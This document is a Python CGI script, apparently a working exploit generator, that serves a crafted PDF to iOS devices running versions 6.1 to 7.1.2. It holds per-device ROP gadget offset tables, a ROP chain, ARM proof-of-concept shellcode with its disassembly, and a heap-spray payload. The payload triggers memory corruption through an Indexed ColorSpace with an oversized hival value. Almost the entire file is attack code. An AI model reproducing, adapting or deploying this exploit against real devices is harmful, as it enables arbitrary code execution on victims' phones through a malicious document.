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mkCrash.py
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mkCrash.py
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import os
import zlib
import sys
import struct
from miniPDF import *
doc= PDFDoc()
#pages
pages = PDFDict()
pages.add("Type", PDFName("Pages"))
#catalog
catalog = PDFDict()
catalog.add("Type", PDFName("Catalog"))
catalog.add("Pages", PDFRef(pages))
#lets add those to doc just for showing up the Ref object.
doc.add([catalog, pages])
#Set the pdf root
doc.setRoot(catalog)
_width=1
_height=256
import cgi
form = cgi.FieldStorage()
if "version" not in form or "shellcode" not in form or "baseaddr" not in form:
output = ""
output += "Content-Type: application/pdf\n" # HTML is following
output += "\n" # blank line, end of headers
output += file("error.pdf","r").read()
exit()
address = int(form["shellcode"].value,16)
dyld_shared_cache = int(form["baseaddr"].value,16)
version = form["version"].value
#address = int(sys.argv[1].split('&')[0].split('=') [2:],16)
#dyld_shared_cache = int(sys.argv[1].split('&')[1][2:],16)
#version = sys.argv[1].split('&')[2]
_offsets = { "iPhone3,1-7.0.4": {
"gadget0": 0x0bdb60d8 + dyld_shared_cache, #_longjmp
"gadget1": 0x014f1257 + dyld_shared_cache, #memcpy
"gadget2": 0x002ba973 + dyld_shared_cache,
"gadget3": 0x000d98eb + dyld_shared_cache,
"gadget4": 0x0bdb40df + dyld_shared_cache,
"gadget5": 0x015a60a5 + dyld_shared_cache,
"jit": 0xc0f54f8 + dyld_shared_cache,
"AudioServicesPlaySystemSound": 0xda2c34 + dyld_shared_cache,
"exit": 0xbcc38dc + dyld_shared_cache,
},
"iPhone4,1-7.1": {
"gadget0": 0x0c325008 + dyld_shared_cache,
"gadget1": 0x01551763 + dyld_shared_cache,
"gadget2": 0x00331167 + dyld_shared_cache, #0xc322e49 + dyld_shared_cache
"gadget3": 0x00118e6b + dyld_shared_cache, #0x1527ad9
"gadget4": 0x38322E5B -0x2c000000 + dyld_shared_cache,
"gadget5": 0x016290a5 + dyld_shared_cache,
"jit": 0xc6805b0 + dyld_shared_cache,
"AudioServicesPlaySystemSound": 0xe1fd94 + dyld_shared_cache,
"exit": 0xc231a5c + dyld_shared_cache,
},
"iPhone5,1-7.1" : {
"gadget0": 0x0c247798 + dyld_shared_cache,
"gadget1": 0x01600ad7 + dyld_shared_cache,
"gadget2": 0x00332433 + dyld_shared_cache,
"gadget3": 0x00119353 + dyld_shared_cache,
"gadget4": 0x38245BD9-0x2c000000 + dyld_shared_cache,
"gadget5": 0x0163e02d + dyld_shared_cache,
"jit": 0xc59e5a0 + dyld_shared_cache,
"AudioServicesPlaySystemSound": 0x2CE30249 -0x2c000000 + dyld_shared_cache,
"exit": 0x381E0710 - 0x2c000000 + dyld_shared_cache,
},
"iPhone5,1-7.1.1": {
"gadget0": 0x0c249798 + dyld_shared_cache,
"gadget1": 0x01600ad7 + dyld_shared_cache,
"gadget2": 0x00332433 + dyld_shared_cache,
"gadget3": 0x00119353 + dyld_shared_cache,
"gadget4": 0x38247BD9-0x2c000000 + dyld_shared_cache,
"gadget5": 0x0163e02d + dyld_shared_cache,
"jit": 0xc5a25a0 + dyld_shared_cache,
"AudioServicesPlaySystemSound": 0x2CE30249 -0x2c000000 + dyld_shared_cache,
"exit": 0x381E0710 - 0x2c000000 + dyld_shared_cache,
},
"iPhone5,1-7.1.2": {
"gadget0": 0x0c265798 + dyld_shared_cache,
"gadget1": 0x015a9a0f + dyld_shared_cache,
"gadget2": 0x003323cb + dyld_shared_cache,
"gadget3": 0x00119353 + dyld_shared_cache,
"gadget4": 0x38263BD9-0x2c000000 + dyld_shared_cache,
"gadget5": 0x0165602d + dyld_shared_cache,
"jit": 0xc5be5a0 + dyld_shared_cache,
"AudioServicesPlaySystemSound": 0x2CE30081 -0x2c000000 + dyld_shared_cache,
"exit": 0xc173819 + dyld_shared_cache,
},
"iPhone4-7.1.2" : {
"gadget0": 0x0c23d008 + dyld_shared_cache,
"gadget1": 0x015b7d47 + dyld_shared_cache,
"gadget2": 0x002f70ff + dyld_shared_cache,
"gadget3": 0x00118e6b + dyld_shared_cache,
"gadget4": 0x0c23ae49 + dyld_shared_cache,
"gadget5": 0x016070a5 + dyld_shared_cache,
"jit": 0xc5925b0 + dyld_shared_cache,
"AudioServicesPlaySystemSound": 0x00de5d94 + dyld_shared_cache,
"exit": 0x0c149a5c + dyld_shared_cache,
},
"iPod4,1-6.1.5" : { "gadget1": 0x124559e + dyld_shared_cache,
"gadget0": 0x920e6a0 + dyld_shared_cache,
"jit": 0 + dyld_shared_cache,
"exit": 0x92054dc + dyld_shared_cache,
"AudioServicesPlaySystemSound": 0xbd4684+ dyld_shared_cache,
},
"iPhone3,1-6.1.2" : { "gadget0":0x41414141,
"jit": 0 + dyld_shared_cache,
"exit": 0x11111 + dyld_shared_cache,
"AudioServicesPlaySystemSound": 0x22222+ dyld_shared_cache,
},
}
if not version in _offsets:
output = ""
output += "Content-Type: application/pdf\n" # HTML is following
output += "\n" # blank line, end of headers
output += file("error.pdf","r").read()
exit()
if version in ["iPhone3,1-7.0.4", "iPhone4,1-7.1", "iPhone5,1-7.1", "iPhone5,1-7.1.1", "iPhone5,1-7.1.2", "iPhone4-7.1.2"]:
stage1 = struct.pack('<L', 0x00000001) # Refcount <--- address
stage1+= struct.pack('<L', address+0x14) # unused
stage1+= struct.pack('<L', 0x00000000) # tokenlist -> null for now
stage1+= struct.pack('<L', _offsets[version]['gadget0']) # unused/longjump gadget 0
stage1+= struct.pack('<L', address+0x4)
stage1+= struct.pack('<L', 0x200) #r4
stage1+= struct.pack('<L', _offsets[version]['jit']) #0x47474747) #r5
stage1+= struct.pack('<L', _offsets[version]['jit'] - 24) #0x48484848) #r6
stage1+= struct.pack('<L', 0x49494949) #r7
stage1+= struct.pack('<L', 0x50505050)#dyld_shared_cache+0x15486a3)#0x14c56b3)#0x50505050) #r8
stage1+= struct.pack('<L', address+23*4) #r10
stage1+= struct.pack('<L', 0x52525252) #r11
stage1+= struct.pack('<L', address+11*4) #_offsets[version]['jit']-7 *4) #sp
stage1+= struct.pack('<L', _offsets[version]['gadget1']) #lr
stage1+= struct.pack('<L', _offsets[version]['gadget4']) #0xbdb40df + dyld_shared_cache)
stage1+= struct.pack('<L', 0x200)
stage1+= struct.pack('<L', _offsets[version]['jit']-8)
stage1+= struct.pack('<L', 0x60606060)
stage1+= struct.pack('<L', _offsets[version]['gadget2']) #0x14a4ae9 + dyld_shared_cache) #ldr r0, [r0, #0], pop {r7, pc}
stage1+= struct.pack('<L', 0x62626262)
stage1+= struct.pack('<L', _offsets[version]['gadget3']) #0x15359df+ dyld_shared_cache)
stage1+= struct.pack('<L', 0x64646464)
stage1+= struct.pack('<L', _offsets[version]['gadget5']) #0x15a60a5+ dyld_shared_cache)
elif version in ["iPhone3,1-6.1.2" ] :
stage1 = struct.pack('<L', 0x00000001) # Refcount <--- address
stage1+= struct.pack('<L', address+0x14) # unused
stage1+= struct.pack('<L', 0x00000000) # tokenlist -> null for now
stage1+= struct.pack('<L', _offsets[version]['gadget0']) # unused/longjump gadget 0
else:
stage1 = "A"*100 #Not supported
'''
PoC Shellcode. Up to 108 bytes.
00000000 <_main>:
0: e2820009 add r0, r2, #9
4: e12fff10 bx r0
00000008 <_main_thumb>:
8: 46fd mov sp, pc
a: 4b07 ldr r3, [pc, #28] ; (28 <stack_offset>)
c: 449d add sp, r3
e: 4803 ldr r0, [pc, #12] ; (1c <ios_AudioServicesPlaySystemSound_param>)
10: 4b03 ldr r3, [pc, #12] ; (20 <ios_AudioServicesPlaySystemSound>)
12: 4798 blx r3
14: 4b03 ldr r3, [pc, #12] ; (24 <ios_exit>)
16: 2000 movs r0, #0
18: 4718 bx r3
1a: 46c0 nop ; (mov r8, r8)
0000001c <ios_AudioServicesPlaySystemSound_param>:
1c: 000003ae .word 0x000003ae
00000020 <ios_AudioServicesPlaySystemSound>:
20: 2f938c34 .word 0x2f938c34
00000024 <ios_exit>:
24: 3a8598dc .word 0x3a8598dc
00000028 <stack_offset>:
28: 00010000 .word 0x00010000
'''
stage2 = '\x09\x00\x82\xe2\x10\xff\x2f\xe1\xfd\x46\x07\x4b\x9d\x44\x03\x48\x03\x4b\x98\x47\x03\x4b\x00\x20\x18\x47\xc0\x46'+struct.pack('<L', 0x3ea)+ struct.pack('<L', _offsets[version]['AudioServicesPlaySystemSound']|1) + struct.pack('<L', _offsets[version]['exit']|1)+struct.pack('<L', 0x50000)
stage1 +=stage2
assert (200-0x19-0x10-8-len(stage1))>=0
token = struct.pack('<L', 0 ) #next
token += struct.pack('<L', 0x00000007 ) #type 07 (array)
token += struct.pack('<L', address ) #pointer to spray/controled memory
token += struct.pack('<L', 0x41424344 ) #$unknown/unused
strm = PDFStream(PDFDict(), token*2)
##XOBJECT
xobjdict = PDFDict()
xobjdict.add('Type', PDFName('XObject'))
xobjdict.add('Subtype', PDFName('Image'))
#xobjdict.add('ColorSpace', PDFArray([ PDFName('Indexed'), PDFName('DeviceRGB'), PDFNum(0x5555555555555550), PDFRef(strm)]))
xobjdict.add('ColorSpace', PDFArray([ PDFName('Indexed'), PDFName('DeviceRGB'), PDFNum(0x55555551-1), PDFRef(strm)]))
xobjdict.add('BitsPerComponent', PDFNum(8))
xobjdict.add('Width', PDFNum(_width))
xobjdict.add('Height',PDFNum(_height))
#xobjdict.add('Filter', PDFName('DCTDecode'))
#xobj = PDFStream(xobjdict, file(sys.argv[1]).read())
xobj = PDFStream(xobjdict, "B"*256)
contents = PDFStream(PDFDict(), ('q '+ ' 0 '*100 + str(PDFOctalString(stage1+'a'*(200-0x19-0x10-8-len(stage1))))*1000 +
' /Im1 Do '+' Q'+ " khj ] ) wd !#$% " ).encode('zlib'))
contents.dict.add('Filter', PDFName('FlateDecode'))
resources = PDFDict()
resources.add('ProcSet', PDFArray([PDFName('PDF'), PDFName('ImageC'), PDFName('ImageI'), PDFName('ImageB')]))
Im1=PDFDict()
Im1.add('Im1',PDFRef(xobj))
resources.add('XObject', Im1)
#The pdf page
page = PDFDict()
page.add('Type', '/Page')
page.add('Parent', PDFRef(pages))
page.add('MediaBox', PDFArray([ 0, 0, _width, _height]))
page.add('Contents', PDFRef(contents))
page.add('Resources', PDFRef(resources))
[doc.add(x) for x in [xobj, contents, resources, page, strm]]
pages.add('Count', PDFNum(1))
pages.add('Kids',PDFArray([PDFRef(page)]))
output = ""
output += "Content-Type: application/pdf\n" # HTML is following
output += "\n" # blank line, end of headers
output += doc.__str__()
print output,